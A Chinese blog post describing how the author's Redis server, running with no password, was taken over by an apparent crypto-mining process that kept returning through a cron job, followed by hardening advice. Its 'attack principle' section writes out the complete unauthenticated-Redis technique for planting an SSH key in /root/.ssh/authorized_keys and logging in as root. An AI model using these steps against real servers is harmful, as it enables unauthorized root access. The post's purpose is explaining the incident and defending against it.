前言

  前几天在自己服务器上搭了redis,准备想着大展身手一番,昨天使用redis-cli命令的时候,10s后,显示进程已杀死。然后又试了几次,都是一样的结果,10s时间,进程被杀死。这个时候我还没发现事情的严重性。

发现问题

  进程莫名被杀死,可能是cpu被占满,赶紧看了一下cpu。

[root@VM_0_13_centos etc]# top

  果然如此,cpu被莫名的占满了。简单,根据pid杀死进程就行了。

[root@VM_0_13_centos etc]# kill -9 27882

  在我以为事情已经完结的情况下,使用reids-cli的时候又出现同样的问题,进程被杀死,我在用 top 命令查看的时候,cpu又被占满了。这个时候我才意识到问题的严重性,这个command是一串无规则数字,应该不是一个正经的进程,而且我试过了几次,这个进程总是在被杀死后重新启动,不过是以不同的pid和不同的command,这可能是一个定时任务,然后我看了一下本地的定时任务:

[root@VM_0_13_centos etc]# crontab -l

  果然有一个定时任务,那就删掉他。

[root@VM_0_13_centos etc]# rm -rf /var/spool/cron/root

  等我再次杀掉那个异常线程在 top 的时候,发现进程又出现了,我返回看定时任务的时候,发现定时任务也又出现了,直接崩溃....

问题原因

  我从一个技术群里面了解到,这可能是redis漏洞所造成的,造成该现象的原因有如下几种:

  • 将redis暴露在公网上,即把redis绑定在0.0.0.0:6379
  • redis密码过于简单,甚至没有(我就是后种情况..)
  • 使用root权限操作redis

攻击原理

  1. 首先在本地产生密钥文件

     $ ssh-keygen –t rsa
  2. 进入~/.ssh/,将公钥写进foo.txt文件

     $ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt
  3. 再连接 Redis 写入文件

    $ cat foo.txt | redis-cli -h 192.168.1.11 -x set crackit
    $ redis-cli -h 192.168.1.11
    $ 192.168.1.11:6379> config set dir /root/.ssh/
    OK
    $ 192.168.1.11:6379> config get dir
    1) "dir"
    2) "/root/.ssh"
    $ 192.168.1.11:6379> config set dbfilename "authorized_keys"
    OK
    $ 192.168.1.11:6379> save
    OK

    这样就可以成功的将自己的公钥写入 /root/.ssh 文件夹的 authotrized_keys 文件里,然后攻击者直接执行:

     $ ssh –i  id_rsa root@192.168.1.11

    即可远程利用自己的私钥登录该服务器。

  当然,写入的目录不限于 /root/.ssh 下的authorized_keys,也可以写入用户目录,不过 Redis 很多以 root 权限运行,所以写入 root 目录下,可以跳过猜用户的步骤。

解决方法

  1. 阻断服务器与外界进行数据传输

    我怀疑我的服务器被恶意被当作肉机,所以我第一步就将这种方式拦截掉。

     $ iptables -A INPUT -sxmr.crypto-pool.fr -j DROP | iptables -A OUTPUT -d xmr.crypto-pool.fr -j DROP

    恢复

     $ iptables -A INPUT -sxmr.crypto-pool.fr -j ACCEPT | iptables -A OUTPUT -d xmr.crypto-pool.fr -j ACCEPT
  2. 给redis设密码

    配置文件redis.conf 中找到requirePass 项

  3. 清除authorized_keys的信息(如果有的话,我没有就不用了)

  4. 禁止定时任务开机启动

     $ systemctl disabled cron.service
  5. 重启服务器,并删除定时任务

    $ reboot
    $ rm -rf /var/spool/cron/root

redis 安装建议

  • 禁止Redis服务对公网开放,可通过修改redis.conf配置文件中的"#bind 127.0.0.1" ,去掉前面的"#"即可(Redis本来就是作为内存数据库,只要监听在本机即可);

  • 设置密码访问认证,可通过修改redis.conf配置文件中的"requirepass" 设置复杂密码 (需要重启Redis服务才能生效);

  • 对访问源IP进行访问控制,可在防火墙限定指定源ip才可以连接Redis服务器;

  • 修改Redis默认端口,将默认的6379端口修改为其他端口;

  • 禁用config指令避免恶意操作,在Redis配置文件redis.conf中配置rename-command项"RENAME_CONFIG",这样即使存在未授权访问,也能够给攻击者使用config 指令加大难度;

  • Redis使用普通用户权限,禁止使用 root 权限启动Redis 服务,这样可以保证在存在漏洞的情况下攻击者也只能获取到普通用户权限,无法获取root权限;

后记

  这次有惊无险,不然就得重装系统了。

如果觉得有用就关注我吧~

redis 漏洞造成服务器被入侵-CPU飙升的更多相关文章

  1. 由于Redis漏洞导致服务器被黑

    原文地址 漏洞描述 Redis默认情况下,会绑定在0.0.0.0:6379,这样将会将Redis服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问Re ...

  2. 记一次Linux服务器因redis漏洞的挖矿病毒入侵

    中毒原因,redis bind 0.0.0.0 而且没有密码,和安全意识太薄弱. 所以,redis一定要设密码,改端口,不要用root用户启动,如果业务没有需要,不要bind 0.0.0.0!!!!! ...

  3. Redis3未授权访问漏洞导致服务器被入侵

    今天在腾讯云上搭的开发环境里的一台机器cpu load飚升老高,然后还能登陆上去,top后发现两个可疑进程./root/目录下有修改过的文件./opt目录被干掉了, 后经分析,这台机器上有redis外 ...

  4. 记一次服务器被植入挖矿木马cpu飙升200%解决过程

    线上服务器用的是某讯云的,欢快的完美运行着Tomcat,MySQL,MongoDB,ActiveMQ等程序.突然一则噩耗从前线传来:网站不能访问了. 此项目是我负责,我以150+的手速立即打开了服务器 ...

  5. struts2之高危远程代码执行漏洞,可造成服务器被入侵,下载最新版本进行修复

          Struts2 被发现存在新的高危远程代码执行漏洞,可造成服务器被入侵,只要是Struts2版本 低于 2.3.14.3 全部存在此漏洞.目前官方已经发布了最新的版本进行修复.请将stru ...

  6. 面试连环炮系列(八):服务器CPU飙升100%怎么排查

    服务器CPU飙升100%怎么排查 执行"top"命令,查看当前进程CPU占用的实时情况,PID列是进程号,确定是哪个应用程序的问题. 如果是Java应用导致的,怎么定位故障原因 执 ...

  7. 一次腾讯云centos服务器被入侵的处理

    昨天一大早,我还没到公司呢,就收到腾讯云安全中心发来的服务器异常登录告警,登录控制台一看,ip还是美国的,一脸懵逼.由于本人之前也没有过处理服务器入侵的经验,而且这台服务器目前还没有部署商用系统,所以 ...

  8. Linux服务器被入侵后的处理过程(转发阿良)

    Linux服务器被入侵后的处理过程   突然,频繁收到一组服务器 ping 监控不可达邮件,赶紧登陆 zabbix 监控系统查看流量状况. 可见流量已经达到了 800M 左右,这肯定不正常了,马上尝试 ...

  9. CPU飙升的问题

    本文转载自CPU飙升的问题 问题发现 事情是这样的,最近小码仔负责的项目预定今天凌晨2点上进行版本更新.前几天测试小姐姐对网站进行压力测试,观察服务的CPU.内存.load.RT.QPS等各种指标. ...

随机推荐

  1. POJ-2104 K-th Number CDQ分治

    题目传送门 题意:给你一个序列,长度为n,m次询问,询问一段区间的第k大. 题解:CDQ分治,对整个值域进行分治.每次取一个mid, 计算出整个区间内mid <= 的数目,如果 num > ...

  2. 最短路算法 Dijkstra 入门

    dijkstra算法 是一种单源点最短路算法求出一个点到其他所有点的最短路. 给你这样的一个图,需要求出1号点到其他点的最短距离是多少. 首先我们开一个数组 d[N],d[x] 代表着从起点出发到x点 ...

  3. 牛客网暑期ACM多校训练营(第三场) J Distance to Work 计算几何求圆与多边形相交面积模板

    链接:https://www.nowcoder.com/acm/contest/141/J来源:牛客网 Eddy has graduated from college. Currently, he i ...

  4. 线段树模板 hdu 1166 敌兵布阵

    敌兵布阵 Time Limit: 2000/1000 MS (Java/Others)    Memory Limit: 65536/32768 K (Java/Others)Total Submis ...

  5. 【Nginx】简介以及安装、启动、关闭

    一.概述 二.Nginx基本安装 2.1 Windows安装Nginx Nginx目录结构 2.2 Linux安装Nginx 2.3 Mac利用homebrew安装 三.nginx启动关闭 3.1 重 ...

  6. Docker下kafka学习三部曲之二:本地环境搭建

    在上一章< Docker下kafka学习,三部曲之一:极速体验kafka>中我们快速体验了kafka的消息分发和订阅功能,但是对环境搭建的印象仅仅是执行了几个命令和脚本,本章我们通过实战来 ...

  7. kubernetes部署高可用Harbor

    前言 本文Harbor高可用依照Harbor官网部署,主要思路如下,大家可以根据具体情况选择搭建. 部署Postgresql高可用集群.(本文选用Stolon进行管理,请查看文章<kuberne ...

  8. kubernetes部署jenkins(Docker in Docker)及认证

    引言 Jenkins是一款开源 CI&CD 软件,用于自动化各种任务,包括构建.测试和部署软件. 本文将Jenkins的master与slave置于Pod中,部署在namespace:jenk ...

  9. Windows 7 上怎样打开SQL Server 配置管理器

    场景 在Windows 7 上打开 SQL Server 的配置管理器. 实现 右击电脑--管理 在计算机管理--服务和应用程序-SQL Server 配置管理器 注: 博客首页: https://b ...

  10. Java抽象类构造方法

    java中抽象类的子类的构造方法会隐含父类的无参构造方法. package com.zempty.abstractclass; public class AbstractDemo01 { public ...